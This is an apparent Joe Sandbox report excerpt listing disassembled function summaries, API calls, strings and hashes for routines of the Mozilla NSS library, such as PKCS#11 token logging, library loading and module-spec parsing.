Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: b6ec4eeb50e0aa67d34bd8cacfe82dd9b25976aadf4e28732f77a056ed37f79b
Instruction ID: 7d682e64c67ecbbdde23c6f4ba48786739e7f0d8fb76924b941b195088c676c7
Opcode Fuzzy Hash: b6ec4eeb50e0aa67d34bd8cacfe82dd9b25976aadf4e28732f77a056ed37f79b
Instruction Fuzzy Hash: 2FA11970B00194AFEF10AF68CC88BEA3B7CEF5235CF480654FA5593691D775A988CB61

Function 6CC228A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CC228BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CC228EF

Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
Part of subcall function 6CD009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
Part of subcall function 6CD009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
Part of subcall function 6CD009D0: free.MOZGLUE(00000000), ref: 6CD00D99

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC228D6

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CC22963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CC22983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CC229A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CC229C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CC22A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CC22A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CC22A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CC22A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CC22AB6

Strings

CKF_WRITE_PROTECTED, xrefs: 6CC229FE, 6CC22A1F
label = "%.32s", xrefs: 6CC2295E
pInfo = 0x%p, xrefs: 6CC228EA
maxRwSessions = %u, RwSessions = %u, xrefs: 6CC22A61
manufacturerID = "%.32s", xrefs: 6CC2297E
flags = %s %s %s %s, xrefs: 6CC22A21
firmware version: %d.%d, xrefs: 6CC22AB1
CKF_RNG, xrefs: 6CC22A13, 6CC22A20
CKF_LOGIN_REQUIRED, xrefs: 6CC229F3, 6CC22A1E
slotID = 0x%x, xrefs: 6CC228D1
model = "%.16s", xrefs: 6CC2299E
serial = "%.16s", xrefs: 6CC229BE
maxSessions = %u, Sessions = %u, xrefs: 6CC22A43
C_GetTokenInfo, xrefs: 6CC228B8
hardware version: %d.%d, xrefs: 6CC22A89
CKF_USER_PIN_INIT, xrefs: 6CC229E5

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: a10d1aed8d8c114b1c785eb2688ebd5a5121b923f5375246a183f5780e2f5b8e
Instruction ID: d8c05aa55c3252fbe59f50b6a047a8f6939d5416ab12e103ebc145a104bba32b
Opcode Fuzzy Hash: a10d1aed8d8c114b1c785eb2688ebd5a5121b923f5375246a183f5780e2f5b8e
Instruction Fuzzy Hash: F951EDB1601140EFFB008F54DD5DE5677B9AB4125DF898076EA049BB22EB35E84CC761

Function 6CBE0AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBE0AD4

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_EnterMonitor.NSS3 ref: 6CBE0B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CBE0B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CBE0B54
WideCharToMultiByte.KERNEL32 ref: 6CBE0B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CBE0BC9
calloc.MOZGLUE(00000001,00000014), ref: 6CBE0BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6CBE0C15

Strings

Loaded library %s (load lib), xrefs: 6CBE0D6F
error %d, xrefs: 6CBE0D08

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: dc434f230916634d9864e25fb746a0c9bd4b26c62438233d57fdb6ad2cb1d39d
Instruction ID: a2278539a6329ceb9c6af6dd50482c910f5fbb1b4c65311bdb90541f21d31c83
Opcode Fuzzy Hash: dc434f230916634d9864e25fb746a0c9bd4b26c62438233d57fdb6ad2cb1d39d
Instruction Fuzzy Hash: 33710A70A002A49BEB10AF79EC8465B77BCEF49798F044169E909D7740EF309A44DB92

Function 6CCC6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB8BE66), ref: 6CCC6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB8BE66), ref: 6CCC6E98
sqlite3_snprintf.NSS3(?,00000000,6CD2AAF9,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC6FA6
sqlite3_snprintf.NSS3(?,00000000,6CD2AAF9,00000000,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB8BE66), ref: 6CCC701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC70A0

Strings

mz_etilqs_, xrefs: 6CCC6F18
winGetTempname1, xrefs: 6CCC708F
winGetTempname5, xrefs: 6CCC7071
winGetTempname4, xrefs: 6CCC7046
winGetTempname2, xrefs: 6CCC70C4

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 848a4283ce9ec163adfb71b9db2f8823cf11421c993dfa59d54c4e23291875b4
Instruction ID: e24fd82c62ec261feb5a1dca5be2f5c7d37691dd2d0b2bbe68a0c219de08c1a2
Opcode Fuzzy Hash: 848a4283ce9ec163adfb71b9db2f8823cf11421c993dfa59d54c4e23291875b4
Instruction Fuzzy Hash: 455167B1F006112BF31097359C55BBF366A9F82348F184538E91596FD1FB25940E83E3

Function 6CC54FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2,00000000,00000000,00000001), ref: 6CC55009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2,00000000), ref: 6CC55049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC5505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CC55071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC550A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CC550B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2), ref: 6CC550CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC550D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC550F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC5511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC5512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55153
free.MOZGLUE(?), ref: 6CC5516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC5517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC55195

Strings

config=, xrefs: 6CC5509B
nss=, xrefs: 6CC55083
library=, xrefs: 6CC55043
parameters=, xrefs: 6CC5506B
name=, xrefs: 6CC55057

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 2c9bebffff6c00d42d48e2b08c3db49bf06e3b83e6077cb17c211a71592279a6
Instruction ID: 03cd2c87aeeb7c761a85154781aed74c8d679f6c94a94524c2fd0160e13f3133
Opcode Fuzzy Hash: 2c9bebffff6c00d42d48e2b08c3db49bf06e3b83e6077cb17c211a71592279a6
Instruction Fuzzy Hash: 34510AB5A01215ABEB01DF20DC41AAF37B8AF16248F540420ED19E7741FB35E939C7B6

Function 6CC28E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CC28E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC28EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC28EB3

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC28EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC28EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CC28F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC28F29
PR_LogPrint.NSS3(?,00000000), ref: 6CC28F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC28F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC28F80
PR_LogPrint.NSS3(?,00000000), ref: 6CC28F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CC28FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CC28FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CC29047

Strings

hWrappingKey = 0x%x, xrefs: 6CC28F01, 6CC28F11
hKey = 0x%x, xrefs: 6CC28F5B, 6CC28F6B
pMechanism = 0x%p, xrefs: 6CC28EE0
pWrappedKey = 0x%p, xrefs: 6CC28FAD
C_WrapKey, xrefs: 6CC28E71
(CK_INVALID_HANDLE), xrefs: 6CC28EAC, 6CC28F1F, 6CC28F79
hSession = 0x%x, xrefs: 6CC28E8E, 6CC28E9E
pulWrappedKeyLen = 0x%p, xrefs: 6CC28FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6CC29042

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: d2b4c15009d1d027be16c62d693991109e4aaf90510e06cce4f75cc165ab6507
Instruction ID: 70695b4cc641851b3ca19a53871c2c44862c43c7411056d78326e4a72585cc3a
Opcode Fuzzy Hash: d2b4c15009d1d027be16c62d693991109e4aaf90510e06cce4f75cc165ab6507
Instruction Fuzzy Hash: 1051C776A01104BFEB00DF54ED48F9B777AAB4631CF484026F6086BB61E739991CCBA1

Function 6CC54C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C5B
PR_smprintf.NSS3(6CD2AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CC54D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CC54DA2
free.MOZGLUE(?), ref: 6CC54DB9
free.MOZGLUE(00000000), ref: 6CC54DCF

Strings

ootT, xrefs: 6CC54D1A
rootFlags, xrefs: 6CC54D47
any, xrefs: 6CC54C96
%s,%s, xrefs: 6CC54C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CC54D9D
slotFlags, xrefs: 6CC54D34
timeout, xrefs: 6CC54C91
every, xrefs: 6CC54CA1
rust, xrefs: 6CC54D22
0x%08lx=[%s %s], xrefs: 6CC54D80

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: da3d55b04ffaab4fa0f734fe641de242e71b3f84a7e87bf7a3787c44c49acef7
Instruction ID: 345f80c52e851093d8baf7322383c70e6bbb9c41cddc91f350cbb36b04d6be6a
Opcode Fuzzy Hash: da3d55b04ffaab4fa0f734fe641de242e71b3f84a7e87bf7a3787c44c49acef7
Instruction Fuzzy Hash: 2E4179B1D001416BEB12EF18DC85ABE3669AF8230CF498128ED195BB11F735E838C7D6

Function 6CC36910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC36943

Part of subcall function 6CC54210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,C1A3ABFF,flags,?,00000000,?,6CC35947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6CC54220
Part of subcall function 6CC54210: NSSUTIL_ArgGetParamValue.NSS3(?,6CC35947,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703,?,00000000,00000000), ref: 6CC5422D
Part of subcall function 6CC54210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703), ref: 6CC5424B
Part of subcall function 6CC54210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703,?,00000000), ref: 6CC54272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC36957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC36972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC36983

Part of subcall function 6CC53EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6CC2C79F,?,6CC36247,70E85609,?,?,6CC2C79F,6CC3781D,?,6CC2BD52,00000001,70E85609,D85D8B04,?), ref: 6CC53EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC369AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC369BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC369D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC369DF

Part of subcall function 6CC54020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,754C4C80,?,6CC550B7,?), ref: 6CC54041

free.MOZGLUE(00000000), ref: 6CC369F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CC36A04
free.MOZGLUE(00000000), ref: 6CC36A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6CC36A29
free.MOZGLUE(00000000), ref: 6CC36A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6CC36A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6CC36A5B

Strings

nokeydb, xrefs: 6CC36968
configdir=, xrefs: 6CC369A4
flags, xrefs: 6CC36937, 6CC36942, 6CC36956, 6CC3696D
keyPrefix=, xrefs: 6CC369CC
certPrefix=, xrefs: 6CC369B8
readOnly, xrefs: 6CC3693D
nocertdb, xrefs: 6CC36951

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
